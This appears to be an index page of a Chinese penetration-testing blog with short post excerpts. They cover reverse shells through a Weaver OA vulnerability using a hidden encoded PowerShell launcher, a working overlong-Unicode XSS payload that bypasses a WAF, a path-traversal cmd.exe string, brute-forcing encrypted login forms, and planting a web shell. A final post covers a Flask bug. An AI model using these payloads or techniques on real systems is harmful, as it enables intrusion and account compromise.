msf powershell base64 command

试着用泛微OA爆出来不久的漏洞反弹SHELL,通过网上公开的POC只能执行whomai之类的简单命令,复杂一些的会报错。直到后来发现可以使用Cobalt Strike生成的powershell反弹。

Cobalt Strike可以,那Metasploit可以吗?

Cobalt Strike 生成的Payload是这样的,一段被Base64编码的内容。

powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAa......

而Msfvenom没有合适的encoder可以将powershell Payload进行Base64编码。

通过搜索得到一个这样的编码脚本,能够将Msfvenom生成的Payload像上面那样编码。

阅读更多msf powershell base64 command

高位Unicode转换绕过WAF实现XSS

0x00

今天测试的时候,同事使用的扫描器报出一个Unicode编码漏洞,payload是这样的:..%255c..\winnt\system32\cmd.exe,但实际上是一个误报。

不过在同事的一顿折腾下,发现特殊的Unicode编码可以绕过应用本身的XSS防护,如下面的payload就可以成功插入并执行:

%C0%BCscript%C0%BEalert%c0%a81%c0%a9%C0%BC%c0%afscript%C0%BE

同事和我都一脸懵逼,那么到底是为什么呢?

阅读更多高位Unicode转换绕过WAF实现XSS

Python调用JS函数生成密文字典

0x00

在Web渗透的时候,经常会遇到一些登录表单用DES之类的加密方式来加密参数,又因为BurpSuite不支持这样的加密(也许我的Burp有问题,一直看不到),所以给暴力破解表单带来了麻烦。

以前就有想过能不能用JAVA、Python或者其他语言引用JS文件,调用内部的函数来生成字典,一直没有去尝试。这次刚好遇到就试着实现一下,顺便记录着水一篇博客。

阅读更多Python调用JS函数生成密文字典

简单任意文件下载到上传SHELL

0x00

熬夜护网的朋友发来一个站,说遇到了问题,让我看看咋回事,那就看看到底咋回事。

说是网站有任意文件上传,但上传目录不在Web目录下,路径是这样的:

/opt/work/upload/{username}/01/{filename}时间戳.jpg

他注册了一个用户名为../{Web路径}的用户,然后上传发现程序自动把username转换成了大写,又因为是Linux系统,所以,卒。

阅读更多简单任意文件下载到上传SHELL

Flask 1.1.1 开发者模式报错问题

事情是这样的,Flask在 2019-07-08 发布了Released 1.1.1,也没加什么功能。作为爱折腾的我,当然是在第一时间升级到最新版本。

随新版本而来的还有一个Bug,困扰了我一个月,今天实在忍不了,翻了好几个issues才找到解决办法,好久没写博客的我决定水一下。

问题来源于Werkzeug,当Flask的运行环境ENV=development时,将会出现这样的错误:

c:\users\lenovo\appdata\local\programs\python\python37\python.exe: No module named C:\Users\lenovo\AppData\Local\Programs\Python\Python37\Scripts\flask

已经有人在Werkzeug的项目下提交了issues,并且Flask的开发者也在跟进这个问题,当Flask >= 1.1.0,Werkzeug 0.15.5时,就会出现上面的问题。

阅读更多Flask 1.1.1 开发者模式报错问题